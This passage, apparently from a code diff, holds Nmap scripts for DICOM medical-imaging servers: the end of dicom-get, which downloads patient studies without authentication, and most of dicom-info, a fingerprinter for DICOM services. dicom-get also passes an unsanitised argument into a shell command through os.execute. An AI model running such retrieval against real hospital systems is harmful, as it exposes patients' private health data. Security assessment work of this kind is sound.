local calling_ae = get_arg("calling_ae", "NMAP-GET")
local save_dir = get_arg("save", nil)
local study_uid = get_arg("study_uid", nil)
local series_uid = get_arg("series_uid", nil)
local pat_name = get_arg("patient_name", "*")
local pat_id = get_arg("patient_id", "")
local modality = get_arg("modality", "")
local level = get_arg("level", "STUDY"):upper()
local max_studies = tonumber(get_arg("max_studies", "5"))
local max_instances = tonumber(get_arg("max_instances", "50"))
local timeout_s = tonumber(get_arg("timeout", "30"))
local max_pdu = tonumber(get_arg("max_pdu", "16384"))
local info_model = get_arg("info_model", "study"):lower()
local add_part10 = (get_arg("part10", "true")):lower() ~= "false"
local out = stdnse.output_table()
if not save_dir then
out["Error"] = "dicom-get.save is required. Specify a directory to save" ..
" retrieved .dcm files."
return out
end
-- Create save directory
os.execute("mkdir -p " .. save_dir .. " 2>/dev/null")
os.execute("mkdir " .. save_dir .. " 2>nul")
out["Target AE"] = called_ae
out["Calling AE"] = calling_ae
-- Select Q/R SOP classes
local find_sop, get_sop
if info_model == "patient" then
find_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_FIND
get_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_GET
else
find_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_FIND
get_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_GET
end
-- == Phase 1: Discover studies (or use provided UID) ==
local studies = {}
if study_uid then
-- User provided a specific study UID
studies[#studies + 1] = {
study_uid = study_uid,
patient_name = "(specified)",
patient_id = "",
}
out["Studies"] = "1 (specified via study_uid)"
else
-- Discover via C-FIND
local found, err = discover_studies(host, port, called_ae, calling_ae,
find_sop, pat_name, pat_id, modality, max_pdu, timeout_s, max_studies)
if not found then
out["Error"] = "C-FIND discovery failed: " .. tostring(err)
return out
end
if #found == 0 then
out["Result"] = "No studies found (server may require specific AE" ..
" title or filter)"
return out
end
studies = found
out["Studies discovered"] = string.format("%d (via C-FIND)", #studies)
end
-- == Phase 2: Retrieve each study via C-GET ==
local results = {}
local grand_total_saved = 0
local grand_total_bytes = 0
local grand_total_errors = 0
for _, study in ipairs(studies) do
if study.study_uid == "" then goto next_study end
-- Build query tags for C-GET
local query_tags = {
{group=0x0020, elem=0x000D, vr="UI", value=study.study_uid},
}
local get_level = level
-- If series_uid is specified, add it and set level to SERIES
if series_uid and series_uid ~= "" then
query_tags[#query_tags + 1] =
{group=0x0020, elem=0x000E, vr="UI", value=series_uid}
get_level = "SERIES"
end
stdnse.debug1("C-GET: retrieving study %s (%s)",
study.study_uid, study.patient_name)
local saved, total_bytes, errs, files = do_cget(
host, port, called_ae, calling_ae, get_sop,
query_tags, get_level, max_pdu, timeout_s, save_dir,
max_instances, add_part10)
results[#results + 1] = {
study_uid = study.study_uid,
patient_name = study.patient_name,
patient_id = study.patient_id,
saved = saved,
errors = errs,
total_bytes = total_bytes,
files = files,
}
grand_total_saved = grand_total_saved + saved
grand_total_bytes = grand_total_bytes + total_bytes
grand_total_errors = grand_total_errors + errs
::next_study::
end
-- == Output ==
local study_lines = {}
for _, r in ipairs(results) do
local short_uid = r.study_uid
if #short_uid > 40 then
short_uid = short_uid:sub(1, 20) .. "..." .. short_uid:sub(-16)
end
local line = string.format("Study %s - %s", short_uid, r.patient_name)
if r.patient_id ~= "" then
line = line .. string.format(" (%s)", r.patient_id)
end
study_lines[#study_lines + 1] = line
if r.saved > 0 then
study_lines[#study_lines + 1] = string.format(
" Saved: %d instances (%s)", r.saved, fmt_bytes(r.total_bytes))
end
if r.errors > 0 then
study_lines[#study_lines + 1] = string.format(
" Errors: %d instances failed to save", r.errors)
end
if r.saved == 0 and r.errors == 0 then
study_lines[#study_lines + 1] = " No instances retrieved (C-GET may" ..
" not be supported)"
end
end
out["Retrieved"] = study_lines
out["Total"] = string.format("%d instances, %s saved to %s",
grand_total_saved, fmt_bytes(grand_total_bytes), save_dir)
if grand_total_errors > 0 then
out["Errors"] = string.format("%d instances failed", grand_total_errors)
end
if grand_total_saved > 0 then
out["WARNING"] = "Patient data (PHI) downloaded without authentication"
elseif #studies > 0 then
out["Note"] = "Studies found but no instances retrieved. " ..
"Server may not support C-GET (try C-MOVE instead), " ..
"or storage SOP classes were rejected."
end
nmap.set_port_state(host, port, "open")
port.version.name = "dicom"
port.version.product = "DICOM SCP"
nmap.set_port_version(host, port, "hardmatched")
return out
end

743
scripts/dicom-info.nse Normal file
View file

@ -0,0 +1,743 @@
description = [[
DICOM service fingerprinter and capability enumerator.
Connects to a DICOM SCP (Service Class Provider) and extracts:
* Implementation Class UID and Version Name (software identification)
* Supported SOP Classes (storage, query/retrieve, workflow services)
* Accepted Transfer Syntaxes per SOP Class
* Maximum PDU length
* Protocol version
* AE Title echo
The Implementation Class UID and Version Name are set by the DICOM software
at build time and uniquely identify the vendor and version -- the DICOM
equivalent of an HTTP Server header. A fingerprint database maps known UIDs
to software names: DCMTK, Orthanc, Horos, dcm4chee, etc.
SOP Class probing reveals what services the target exposes: image storage
(CT, MR, US, ...), query/retrieve (C-FIND, C-MOVE, C-GET), modality
worklist, MPPS, and storage commitment. Each accepted SOP class is an
entry point for further testing with dicom-cfind-ls or dicom-store-fuzzer.
Transfer syntax enumeration reveals encoding capabilities: Implicit/Explicit
VR, compressed formats (JPEG, JPEG-LS, JPEG 2000, RLE), and the deprecated
Explicit VR Big Endian. Compressed transfer syntaxes exercise additional
codec code paths in the target.
This script is non-intrusive -- it only performs A-ASSOCIATE negotiations
and does not send any DIMSE commands or patient data.
Requires the dicom.lua library (place in nselib/ or same directory).
]]
---
-- @usage
-- nmap -p 104,11112,4242 --script dicom-info <target>
--
-- @usage
-- nmap -p 4242 --script dicom-info \
-- --script-args 'dicom-info.called_ae=ORTHANC,dicom-info.calling_ae=FINDSCU' <target>
--
-- @usage
-- nmap -p 11112 --script dicom-info \
-- --script-args 'dicom-info.probe=full' <target>
--
-- @args dicom-info.called_ae Called AE Title (default: "ANY-SCP")
-- @args dicom-info.calling_ae Calling AE Title (default: "NMAP-INFO")
-- @args dicom-info.timeout Association timeout in seconds (default: 10)
-- @args dicom-info.max_pdu Max PDU Length to propose (default: 16384)
-- @args dicom-info.probe Probe depth: "basic" (fingerprint only),
-- "standard" (+ common SOP classes),
-- "full" (+ all storage + workflow SOP classes)
-- (default: "standard")
-- @args dicom.tls Force transport for the whole DICOM suite:
-- "true" (DICOM over TLS), "false" (plaintext), or
-- unset to auto-detect (dicom-info only)
--
-- @output
-- PORT STATE SERVICE
-- 4242/tcp open dicom
-- | dicom-info:
-- | Implementation: Orthanc 1.12.4
-- | Class UID: 1.2.826.0.1.3680043.2.1545.1.2.1.7
-- | Version: Orthanc
-- | Max PDU: 16384
-- | Protocol Version: 1
-- | Accepted SOP Classes (15 of 42 probed):
-- | C-ECHO Verification 1.2.840.10008.1.1
-- | CT Image Storage 1.2.840.10008.5.1.4.1.1.2
-- | MR Image Storage 1.2.840.10008.5.1.4.1.1.4
-- | Secondary Capture Image Storage 1.2.840.10008.5.1.4.1.1.7
-- | Study Root Q/R - FIND 1.2.840.10008.5.1.4.1.2.2.1
-- | Study Root Q/R - MOVE 1.2.840.10008.5.1.4.1.2.2.2
-- | Study Root Q/R - GET 1.2.840.10008.5.1.4.1.2.2.3
-- | ...
-- | Accepted Transfer Syntaxes:
-- | Implicit VR Little Endian 1.2.840.10008.1.2
-- | Explicit VR Little Endian 1.2.840.10008.1.2.1
-- | Security: No TLS (plaintext DICOM association)
-- |_ WARNING: DICOM service accessible without authentication
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"default", "discovery", "safe"}
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local math = require "math"
local dicom = require "dicom"
portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp",
"open")
-----------------------------------------------------------------------
-- IMPLEMENTATION FINGERPRINT DATABASE
-----------------------------------------------------------------------
-- Maps Implementation Class UIDs to vendor/product names.
-- Sources: DICOM standard PS3.7 Annex E, vendor documentation,
-- observed values from real deployments.
local IMPL_DB = {
-- DCMTK (OFFIS)
["1.2.276.0.7230010.3.0.3.6.0"] = "DCMTK 3.6.0",
["1.2.276.0.7230010.3.0.3.6.1"] = "DCMTK 3.6.1",
["1.2.276.0.7230010.3.0.3.6.2"] = "DCMTK 3.6.2",
["1.2.276.0.7230010.3.0.3.6.3"] = "DCMTK 3.6.3",
["1.2.276.0.7230010.3.0.3.6.4"] = "DCMTK 3.6.4",
["1.2.276.0.7230010.3.0.3.6.5"] = "DCMTK 3.6.5",
["1.2.276.0.7230010.3.0.3.6.6"] = "DCMTK 3.6.6",
["1.2.276.0.7230010.3.0.3.6.7"] = "DCMTK 3.6.7",
["1.2.276.0.7230010.3.0.3.6.8"] = "DCMTK 3.6.8",
-- Orthanc
["1.2.826.0.1.3680043.2.1545.1.2.1.7"] = "Orthanc",
-- dcm4che / dcm4chee
["1.2.40.0.13.1.1"] = "dcm4che",
["1.2.40.0.13.1.3"] = "dcm4chee Archive",
-- GDCM
["1.2.826.0.1.3680043.2.1143.107.104.103.115.2"] = "GDCM",
-- pydicom / pynetdicom
["1.2.826.0.1.3680043.9.3811.2.0.1"] = "pynetdicom",
["1.2.826.0.1.3680043.8.498.1"] = "pydicom",
-- Horos / OsiriX
["1.2.276.0.7238010.3.0.3.6.0"] = "Horos (OsiriX fork)",
["2.16.756.5.5.100.3611.1.1"] = "OsiriX",
-- ClearCanvas
["1.2.826.0.1.3680043.2.1343.8806"] = "ClearCanvas",
-- Merge DICOM Toolkit
["1.2.826.0.1.3680043.2.46.1.1"] = "Merge DICOM Toolkit",
-- Conquest DICOM
["1.2.826.0.1.3680043.2.135.1066.101"] = "Conquest DICOM",
-- MicroDicom
["1.2.826.0.1.3680043.2.1545.1.2.1.9"] = "MicroDicom",
-- FO-DICOM (.NET)
["1.3.6.1.4.1.30071.8"] = "fo-dicom",
-- Philips Healthcare
["1.3.46.670589.50"] = "Philips Healthcare",
-- GE Healthcare
["1.2.840.113619.6.5"] = "GE Healthcare",
-- Siemens Healthineers
["1.3.12.2.1107.5.8.1"] = "Siemens Healthineers",
-- Agfa Healthcare
["1.2.124.113532.3500.8.1"] = "Agfa HealthCare IMPAX",
-- Carestream
["1.2.840.113564.3.5"] = "Carestream Health",
-- Fujifilm
["1.2.392.200036.9116.7.8.1.1"] = "Fujifilm Synapse",
-- Canon Medical (Toshiba)
["1.2.392.200036.9116.7.1.1"] = "Canon Medical / Toshiba",
-- Sectra
["1.2.752.24.7.123"] = "Sectra IDS7",
-- Visage Imaging
["1.2.826.0.1.3680043.2.228.1"] = "Visage Imaging",
}
-- Partial prefix matching for vendors with many sub-versions
local IMPL_PREFIX = {
["1.2.276.0.7230010.3.0.3."] = "DCMTK",
["1.2.826.0.1.3680043.2.1545."] = "Orthanc",
["1.2.40.0.13."] = "dcm4che/dcm4chee",
["1.3.46.670589."] = "Philips Healthcare",
["1.2.840.113619."] = "GE Healthcare",
["1.3.12.2.1107."] = "Siemens Healthineers",
["1.2.124.113532."] = "Agfa HealthCare",
["1.2.840.113564."] = "Carestream Health",
["1.2.392.200036."] = "Fujifilm/Canon Medical",
["1.2.826.0.1.3680043.9.3811."] = "pynetdicom",
["1.2.826.0.1.3680043.8.498."] = "pydicom",
}
--- Look up an Implementation Class UID in the fingerprint database.
-- @param uid Implementation Class UID string
-- @return product name or nil
local function lookup_impl(uid)
if not uid or uid == "" then return nil end
-- Exact match first
if IMPL_DB[uid] then return IMPL_DB[uid] end
-- Prefix match
for prefix, name in pairs(IMPL_PREFIX) do
if uid:sub(1, #prefix) == prefix then
return name
end
end
return nil
end
-----------------------------------------------------------------------
-- SOP CLASS CATALOG
-----------------------------------------------------------------------
-- Organized by service category for structured output.
-- Each entry: {uid, short_name, category}
local SOP_CATALOG = {
-- Verification
{"1.2.840.10008.1.1", "C-ECHO Verification", "Verification"},
-- Storage: Common modalities
{"1.2.840.10008.5.1.4.1.1.2", "CT Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.2.1", "Enhanced CT Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.4", "MR Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.4.1", "Enhanced MR Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.6.1", "US Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.7", "Secondary Capture", "Storage"},
{"1.2.840.10008.5.1.4.1.1.7.1", "Multi-frame SC (Byte)", "Storage"},
{"1.2.840.10008.5.1.4.1.1.7.2", "Multi-frame SC (Word)", "Storage"},
{"1.2.840.10008.5.1.4.1.1.7.3", "Multi-frame SC (True Color)", "Storage"},
{"1.2.840.10008.5.1.4.1.1.7.4", "Multi-frame SC (Grayscale)", "Storage"},
{"1.2.840.10008.5.1.4.1.1.12.1", "X-Ray Angiographic Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.12.2", "X-Ray Radiofluoroscopic Storage",
"Storage"},
{"1.2.840.10008.5.1.4.1.1.20", "NM Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.128", "PET Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.128.1", "Enhanced PET Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.1", "CR Image Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.1.1", "Digital X-Ray (DX) Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.1.2", "Digital Mammography Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.104.1", "Encapsulated PDF Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.104.2", "Encapsulated CDA Storage", "Storage"},
{"1.2.840.10008.5.1.4.1.1.104.3", "Encapsulated STL Storage", "Storage"},
-- Query/Retrieve
{"1.2.840.10008.5.1.4.1.2.2.1", "Study Root Q/R - FIND", "Query/Retrieve"},
{"1.2.840.10008.5.1.4.1.2.2.2", "Study Root Q/R - MOVE", "Query/Retrieve"},
{"1.2.840.10008.5.1.4.1.2.2.3", "Study Root Q/R - GET", "Query/Retrieve"},
{"1.2.840.10008.5.1.4.1.2.1.1", "Patient Root Q/R - FIND", "Query/Retrieve"},
{"1.2.840.10008.5.1.4.1.2.1.2", "Patient Root Q/R - MOVE", "Query/Retrieve"},
{"1.2.840.10008.5.1.4.1.2.1.3", "Patient Root Q/R - GET", "Query/Retrieve"},
-- Worklist & Workflow
{"1.2.840.10008.5.1.4.31", "Modality Worklist - FIND", "Worklist"},
{"1.2.840.10008.3.1.2.3.3", "Modality Performed Procedure Step", "Workflow"},
{"1.2.840.10008.5.1.4.32.1", "Unified Procedure Step - Push", "Workflow"},
{"1.2.840.10008.5.1.4.32.3", "Unified Procedure Step - Watch", "Workflow"},
-- Storage Commitment
{"1.2.840.10008.1.20.1", "Storage Commitment Push", "Commitment"},
-- RT
{"1.2.840.10008.5.1.4.1.1.481.1", "RT Image Storage", "Storage (RT)"},
{"1.2.840.10008.5.1.4.1.1.481.2", "RT Dose Storage", "Storage (RT)"},
{"1.2.840.10008.5.1.4.1.1.481.3", "RT Structure Set Storage",
"Storage (RT)"},
{"1.2.840.10008.5.1.4.1.1.481.5", "RT Plan Storage", "Storage (RT)"},
{"1.2.840.10008.5.1.4.1.1.481.8", "RT Ion Plan Storage", "Storage (RT)"},
-- Structured Reports
{"1.2.840.10008.5.1.4.1.1.88.11", "Basic Text SR Storage", "Storage (SR)"},
{"1.2.840.10008.5.1.4.1.1.88.22", "Enhanced SR Storage", "Storage (SR)"},
{"1.2.840.10008.5.1.4.1.1.88.33", "Comprehensive SR Storage",
"Storage (SR)"},
{"1.2.840.10008.5.1.4.1.1.88.34", "Comprehensive 3D SR Storage",
"Storage (SR)"},
}
-- Extended storage SOP classes for "full" probe mode
local SOP_EXTENDED = {
-- Ophthalmology
{"1.2.840.10008.5.1.4.1.1.77.1.5.1", "Ophthalmic Photography 8 Bit",
"Storage (Oph)"},
{"1.2.840.10008.5.1.4.1.1.77.1.5.2", "Ophthalmic Photography 16 Bit",
"Storage (Oph)"},
{"1.2.840.10008.5.1.4.1.1.77.1.5.4", "Ophthalmic Tomography Storage",
"Storage (Oph)"},
-- Waveform
{"1.2.840.10008.5.1.4.1.1.9.1.1", "12-lead ECG Waveform Storage",
"Storage (Waveform)"},
{"1.2.840.10008.5.1.4.1.1.9.1.2", "General ECG Waveform Storage",
"Storage (Waveform)"},
{"1.2.840.10008.5.1.4.1.1.9.1.3", "Ambulatory ECG Waveform Storage",
"Storage (Waveform)"},
-- Presentation State
{"1.2.840.10008.5.1.4.1.1.11.1", "Grayscale Softcopy Pres. State",
"Storage (PR)"},
{"1.2.840.10008.5.1.4.1.1.11.2", "Color Softcopy Pres. State",
"Storage (PR)"},
-- Key Object
{"1.2.840.10008.5.1.4.1.1.88.59", "Key Object Selection Doc",
"Storage (KO)"},
-- Segmentation
{"1.2.840.10008.5.1.4.1.1.66.4", "Segmentation Storage", "Storage (Seg)"},
-- Parametric Map
{"1.2.840.10008.5.1.4.1.1.30", "Parametric Map Storage", "Storage (Map)"},
-- Raw Data
{"1.2.840.10008.5.1.4.1.1.66", "Raw Data Storage", "Storage (Raw)"},
-- VL Image
{"1.2.840.10008.5.1.4.1.1.77.1.1", "VL Endoscopic Image Storage",
"Storage (VL)"},
{"1.2.840.10008.5.1.4.1.1.77.1.2", "VL Microscopic Image Storage",
"Storage (VL)"},
{"1.2.840.10008.5.1.4.1.1.77.1.4", "VL Photographic Image Storage",
"Storage (VL)"},
-- Whole Slide
{"1.2.840.10008.5.1.4.1.1.77.1.6", "VL Whole Slide Microscopy Storage",
"Storage (WSI)"},
-- 3D
{"1.2.840.10008.5.1.4.1.1.68.1", "Surface Scan Mesh Storage",
"Storage (3D)"},
}
-----------------------------------------------------------------------
-- TRANSFER SYNTAX CATALOG
-----------------------------------------------------------------------
local TS_CATALOG = {
{"1.2.840.10008.1.2", "Implicit VR Little Endian"},
{"1.2.840.10008.1.2.1", "Explicit VR Little Endian"},
{"1.2.840.10008.1.2.2", "Explicit VR Big Endian (retired)"},
{"1.2.840.10008.1.2.1.99", "Deflated Explicit VR Little Endian"},
{"1.2.840.10008.1.2.4.50", "JPEG Baseline (Process 1)"},
{"1.2.840.10008.1.2.4.51", "JPEG Extended (Process 2 & 4)"},
{"1.2.840.10008.1.2.4.57", "JPEG Lossless Non-Hierarchical (Process 14)"},
{"1.2.840.10008.1.2.4.70", "JPEG Lossless SV1 (Process 14 SV1)"},
{"1.2.840.10008.1.2.4.80", "JPEG-LS Lossless"},
{"1.2.840.10008.1.2.4.81", "JPEG-LS Lossy (Near-Lossless)"},
{"1.2.840.10008.1.2.4.90", "JPEG 2000 (Lossless Only)"},
{"1.2.840.10008.1.2.4.91", "JPEG 2000"},
{"1.2.840.10008.1.2.4.201", "HTJ2K (Lossless Only)"},
{"1.2.840.10008.1.2.4.202", "HTJ2K (Lossless or Lossy)"},
{"1.2.840.10008.1.2.4.203", "HTJ2K RPCL (Lossless Only)"},
{"1.2.840.10008.1.2.5", "RLE Lossless"},
}
-----------------------------------------------------------------------
-- HELPERS
-----------------------------------------------------------------------
local function get_arg(key, default)
return stdnse.get_script_args("dicom-info." .. key) or default
end
--- Probe whether a list of SOP classes are accepted by the target.
-- Sends A-ASSOCIATE-RQ proposing up to `batch_size` SOP classes at once,
-- returns list of accepted UIDs and their transfer syntaxes.
-- @param host, port Nmap host/port objects
-- @param called_ae Called AE Title
-- @param calling_ae Calling AE Title
-- @param sop_entries List of {uid, name, category} from catalog
-- @param max_pdu Max PDU length
-- @param timeout_s Timeout in seconds
-- @param ts_uids Transfer syntax UIDs to propose
-- @return accepted (list of {uid, name, category, transfer_syntax}),
-- rejected_count
local function probe_sop_classes(host, port, called_ae, calling_ae,
sop_entries, max_pdu, timeout_s, ts_uids,
tls)
local accepted = {}
local rejected = 0
-- DICOM allows up to 128 presentation contexts per association (pctx_id
-- 1-255 odd)
local batch_size = 128
local i = 1
while i <= #sop_entries do
local batch = {}
local batch_uids = {}
for j = i, math.min(i + batch_size - 1, #sop_entries) do
batch[#batch + 1] = sop_entries[j]
batch_uids[#batch_uids + 1] = sop_entries[j][1]
end
local ok, sock, pctxs, _, _, ac_info = dicom.do_associate(
host, port, called_ae, calling_ae, batch_uids, max_pdu, timeout_s,
ts_uids, nil, tls)
if ok then
-- Map pctx_id back to SOP class (pctx_id = 2*index - 1)
for idx, entry in ipairs(batch) do
local pctx_id = 2 * idx - 1
if pctxs[pctx_id] and pctxs[pctx_id].accepted then
accepted[#accepted + 1] = {
uid = entry[1],
name = entry[2],
category = entry[3],
ts = pctxs[pctx_id].transfer_syntax or "",
}
else
rejected = rejected + 1
end
end
dicom.do_release(sock, 3)
else
-- Association failed entirely for this batch
rejected = rejected + #batch
stdnse.debug1("SOP probe batch failed: %s", tostring(sock))
end
i = i + batch_size
end
return accepted, rejected
end
--- Probe which transfer syntaxes the target accepts for a given SOP class.
-- Tests each transfer syntax individually against a single SOP class.
-- @param host, port Nmap host/port objects
-- @param called_ae Called AE Title
-- @param calling_ae Calling AE Title
-- @param sop_uid SOP Class UID to test against
-- @param max_pdu Max PDU length
-- @param timeout_s Timeout in seconds
-- @return List of accepted {uid, name} transfer syntaxes
local function probe_transfer_syntaxes(host, port, called_ae, calling_ae,
sop_uid, max_pdu, timeout_s, tls)
local accepted = {}
-- Test each transfer syntax individually (some servers only accept one per
-- pctx)
for _, ts in ipairs(TS_CATALOG) do
local ok, sock, pctxs = dicom.do_associate(
host, port, called_ae, calling_ae, {sop_uid}, max_pdu, timeout_s,
{ts[1]}, nil, tls)
if ok then
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if pctx_id then
accepted[#accepted + 1] = { uid = ts[1], name = ts[2] }
end
dicom.do_release(sock, 3)
end
end
return accepted
end
--- Format a certificate date, which may be a string or a date table.
local function fmt_date(d)
if type(d) == "table" then
if d.year then
return string.format("%04d-%02d-%02d %02d:%02d:%02d",
d.year or 0, d.month or 0, d.day or 0,
d.hour or 0, d.min or 0, d.sec or 0)
end
return "?"
end
return tostring(d)
end
--- Describe a TLS certificate as a list of output lines.
local function cert_lines(cert)
local subj = cert.subject and cert.subject.commonName or "?"
local iss = cert.issuer and cert.issuer.commonName or "?"
local exp = "?"
if cert.validity and cert.validity.notAfter then
exp = fmt_date(cert.validity.notAfter)
end
local lines = {
"Subject CN: " .. subj,
"Issuer CN: " .. iss,
"Not after: " .. exp,
}
-- Certificate key and signature strength (from the presented cert).
if cert.pubkey then
local ktype = tostring(cert.pubkey.type or "?")
local kbits = cert.pubkey.bits
local kline = "Public key: " .. ktype
if kbits then kline = kline .. " " .. tostring(kbits) .. "-bit" end
if ktype == "rsa" and kbits and kbits < 2048 then
kline = kline .. " (WEAK: < 2048-bit)"
end
lines[#lines + 1] = kline
end
if cert.sig_algorithm then
local sig = tostring(cert.sig_algorithm)
local sline = "Signature: " .. sig
local low = sig:lower()
if low:find("sha1") or low:find("md5") then
sline = sline .. " (WEAK signature algorithm)"
end
lines[#lines + 1] = sline
end
if subj ~= "?" and subj == iss then
lines[#lines + 1] = "Self-signed certificate"
end
return lines
end
--- Return weak-crypto / cert warnings for the WARNINGS section.
local function cert_warnings(cert)
local w = {}
if cert.pubkey and cert.pubkey.type == "rsa" and cert.pubkey.bits
and cert.pubkey.bits < 2048 then
w[#w + 1] = "TLS certificate uses a weak RSA key (< 2048-bit)"
end
if cert.sig_algorithm then
local low = tostring(cert.sig_algorithm):lower()
if low:find("sha1") or low:find("md5") then
w[#w + 1] = "TLS certificate uses a weak signature algorithm (SHA-1/MD5)"
end
end
local subj = cert.subject and cert.subject.commonName
local iss = cert.issuer and cert.issuer.commonName
if subj and iss and subj == iss then
w[#w + 1] = "TLS certificate is self-signed (no CA trust chain)"
end
return w
end
-----------------------------------------------------------------------
-- MAIN ACTION
-----------------------------------------------------------------------
action = function(host, port)
local called_ae = get_arg("called_ae", "ANY-SCP")
local calling_ae = get_arg("calling_ae", "NMAP-INFO")
local timeout_s = tonumber(get_arg("timeout", "10"))
local max_pdu = tonumber(get_arg("max_pdu", "16384"))
local probe_depth = get_arg("probe", "standard"):lower()
-- Transport: tls=true forces DICOM-over-TLS, tls=false forces plaintext,
-- unset auto-detects (plaintext first, then TLS).
local tls_arg = stdnse.get_script_args("dicom.tls")
local attempts
if tls_arg == "true" then
attempts = { true }
elseif tls_arg == "false" then
attempts = { false }
else
attempts = { false, true }
end
local out = stdnse.output_table()
-- == Phase 1: Fingerprint via Verification SOP class ==
local ok, sock, pctxs, server_max_pdu, elapsed, ac_info
local tls = false
for _, t in ipairs(attempts) do
ok, sock, pctxs, server_max_pdu, elapsed, ac_info = dicom.do_associate(
host, port, called_ae, calling_ae,
{dicom.SOP_CLASS.VERIFICATION}, max_pdu, timeout_s, nil, nil, t)
if ok then
tls = t
break
end
end
if not ok then
out["Error"] = string.format("Association failed: %s", tostring(sock))
return out
end
-- Extract fingerprint data
local impl_uid = ac_info.impl_class_uid or ""
local impl_ver = ac_info.impl_version or ""
local product = lookup_impl(impl_uid)
-- Format implementation info
if product then
-- If impl_version adds version detail not in the product name, append it
if impl_ver ~= "" and not product:lower():find(impl_ver:lower()) then
out["Implementation"] = string.format("%s (%s)", product, impl_ver)
else
out["Implementation"] = product
end
elseif impl_ver ~= "" then
out["Implementation"] = impl_ver
else
out["Implementation"] = "Unknown"
end
out[" Class UID"] = impl_uid ~= "" and impl_uid or "(not provided)"
out[" Version"] = impl_ver ~= "" and impl_ver or "(not provided)"
out["Max PDU"] = server_max_pdu or max_pdu
-- C-ECHO verification
local pctx_id = dicom.pick_accepted_pctx(pctxs)
local echo_ok = false
if pctx_id then
local cmd = dicom.build_cecho_rq(1)
dicom.send_dimse(sock, pctx_id, cmd, nil, max_pdu)
local pdu_type, cmd_elems = dicom.recv_dimse(sock, timeout_s)
if pdu_type == dicom.PDU_CODES.DATA and cmd_elems
and cmd_elems["0000,0900"]
and cmd_elems["0000,0900"].value == dicom.STATUS.SUCCESS then
echo_ok = true
end
end
dicom.do_release(sock, 3)
if probe_depth == "basic" then
out["C-ECHO"] = echo_ok and "SUCCESS" or "FAILED"
nmap.set_port_state(host, port, "open")
port.version.name = "dicom"
if product then port.version.product = product end
nmap.set_port_version(host, port, "hardmatched")
return out
end
-- == Phase 2: SOP class probing ==
-- Build the probe list based on depth
local probe_list = {}
for _, entry in ipairs(SOP_CATALOG) do
probe_list[#probe_list + 1] = entry
end
if probe_depth == "full" then
for _, entry in ipairs(SOP_EXTENDED) do
probe_list[#probe_list + 1] = entry
end
end
-- Use standard transfer syntaxes for SOP probing
local probe_ts = {
dicom.TRANSFER_SYNTAX.EXPLICIT_LE,
dicom.TRANSFER_SYNTAX.IMPLICIT_LE,
}
local accepted_sops, rejected_count = probe_sop_classes(
host, port, called_ae, calling_ae, probe_list, max_pdu, timeout_s,
probe_ts, tls)
local total_probed = #probe_list
out["Accepted SOP Classes"] = string.format("%d of %d probed",
#accepted_sops, total_probed)
-- Group by category for display
local cat_order = {}
local by_category = {}
for _, sop in ipairs(accepted_sops) do
if not by_category[sop.category] then
by_category[sop.category] = {}
cat_order[#cat_order + 1] = sop.category
end
by_category[sop.category][#by_category[sop.category] + 1] = sop
end
local sop_lines = {}
for _, cat in ipairs(cat_order) do
for _, sop in ipairs(by_category[cat]) do
-- Align UID column for readability
local padded = sop.name .. string.rep(" ", math.max(1, 50 - #sop.name))
sop_lines[#sop_lines + 1] = padded .. sop.uid
end
end
out[" Services"] = sop_lines
-- == Phase 3: Transfer syntax probing ==
-- Use Verification SOP (universally accepted) as the probe target
local ts_probe_sop = dicom.SOP_CLASS.VERIFICATION
-- If Verification wasn't accepted, use the first accepted SOP
if #accepted_sops > 0 then
-- Prefer Verification, but fall back to first accepted
local found_verif = false
for _, sop in ipairs(accepted_sops) do
if sop.uid == dicom.SOP_CLASS.VERIFICATION then
found_verif = true
break
end
end
if not found_verif then
ts_probe_sop = accepted_sops[1].uid
end
end
local accepted_ts = probe_transfer_syntaxes(
host, port, called_ae, calling_ae, ts_probe_sop, max_pdu, timeout_s, tls)
if #accepted_ts > 0 then
local ts_lines = {}
for _, ts in ipairs(accepted_ts) do
local padded = ts.name .. string.rep(" ", math.max(1, 50 - #ts.name))
ts_lines[#ts_lines + 1] = padded .. ts.uid
end
out["Accepted Transfer Syntaxes"] = ts_lines
end
-- == Security assessment ==
-- Transport was determined by our own association attempt above.
if tls then
out["Security"] = "DICOM over TLS (encrypted)"
if ac_info and ac_info.cert then
out[" TLS certificate"] = cert_lines(ac_info.cert)
end
-- We completed the TLS association without presenting a client
-- certificate, so the server does not require mutual TLS (IHE ATNA node
-- authentication).
out[" Client certificate"] =
"not required (no mutual TLS / IHE ATNA node authentication)"
else
out["Security"] = "No TLS (plaintext DICOM association)"
end
-- Check for concerning capabilities
local warnings = {}
if echo_ok then
warnings[#warnings + 1] = "DICOM service accessible without authentication"
end
-- Check for Q/R services (data exfiltration risk)
local has_find, has_move, has_get = false, false, false
for _, sop in ipairs(accepted_sops) do
if sop.uid:find("%.1$") and sop.category == "Query/Retrieve" then
has_find = true
end
if sop.uid:find("%.2$") and sop.category == "Query/Retrieve" then
has_move = true
end
if sop.uid:find("%.3$") and sop.category == "Query/Retrieve" then
has_get = true
end
end
if has_find then
warnings[#warnings + 1] = "Q/R FIND enabled - patient data enumeration" ..
" possible (use dicom-cfind-ls)"
end
if has_move then
warnings[#warnings + 1] = "Q/R MOVE enabled - image exfiltration to" ..
" arbitrary destination possible"
end
if has_get then
warnings[#warnings + 1] = "Q/R GET enabled - direct image download" ..
" possible"
end
